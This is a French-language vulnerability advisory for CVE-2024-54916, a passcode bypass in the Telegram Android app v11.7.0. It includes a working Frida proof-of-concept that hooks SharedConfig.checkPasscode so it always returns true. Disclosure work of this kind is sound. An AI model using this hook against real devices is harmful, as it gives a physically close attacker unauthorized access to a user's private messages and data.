CVE-2024-54916: Contournement d'authentification sur l'APK Telegram

Un problème dans la classe SharedConfig de l'APK Android Telegram v.11.7.0 permet à un attaquant physiquement proche de contourner l'authentification et d'élever ses privilèges en manipulant la valeur de retour de la méthode checkPasscode.

Type de vulnérabilité

Contournement d'authentification

Fournisseur du produit

Telegram

Code base du produit affecté

Telegram android apk v.11.7.0

Composant affecté

org.telegram.messenger.SharedConfig

Exploitation

Identifier la classe et la méthode cibles :

• La classe SharedConfig dans l'application gère la logique de vérification du code d'accès.
• La méthode checkPasscode au sein de cette classe est responsable de la détermination de la validité du code d'accès saisi.

Intercepter la méthode avec Frida

• Un script Frida est utilisé pour intercepter la méthode checkPasscode dans la classe SharedConfig. L'implémentation de la méthode est modifiée pour toujours retourner true, contournant ainsi la validation réelle du code d'accès.

Exécution

• Le script Frida est exécuté pendant que l'application est en cours d'exécution (dynamiquement). Tout code d'accès saisi par l'utilisateur sera accepté comme valide, permettant un accès non autorisé.

POC

Java.perform(function() {

// Locate the SharedConfig class in the target application

var PassCodeActivity = Java.use('org.telegram.messenger.SharedConfig');

// Hook the checkPasscode method to modify its behavior

PassCodeActivity.checkPasscode.implementation = function(passcode) {

// Bypass the actual passcode check by always returning true

return true;

};

});

Lien vidéo POC :-

https://drive.google.com/file/d/1-lW1IQiCyj-8UXZOTedYPGPhQwfMLX4M/view?usp=sharing

Impact :-

Cette vulnérabilité est un problème de contournement d'authentification côté client. Elle affecte les utilisateurs qui comptent sur la fonctionnalité de code d'accès pour sécuriser des données sensibles ou restreindre l'accès à des fonctionnalités spécifiques de l'application. En exploitant cette faille, un attaquant physiquement proche peut manipuler le processus de vérification du code d'accès, contourner l'authentification et obtenir un accès non autorisé aux zones protégées de l'application. Cela pourrait entraîner l'exposition de données utilisateur sensibles ou des actions non autorisées au sein de l'application.